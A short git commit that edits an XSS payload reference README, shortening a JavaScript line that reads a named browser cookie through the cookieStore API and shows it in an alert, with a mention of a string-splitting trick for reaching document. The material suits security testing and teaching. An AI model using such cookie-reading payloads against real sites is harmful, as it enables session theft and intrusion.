From a8d8434756ee43305bcb6fba5970c909979639ce Mon Sep 17 00:00:00 2001 From: Cory Cline Date: Thu, 13 Oct 2022 19:48:20 -0500 Subject: [PATCH] Shortened payload Make payload shorter. --- XSS Injection/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 3c5886f..fb64357 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -780,7 +780,7 @@ window["doc"+"ument"] This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. ``` -Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{alert(cookieValue.value);}); +window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);}); ``` ### Bypass using javascript inside a string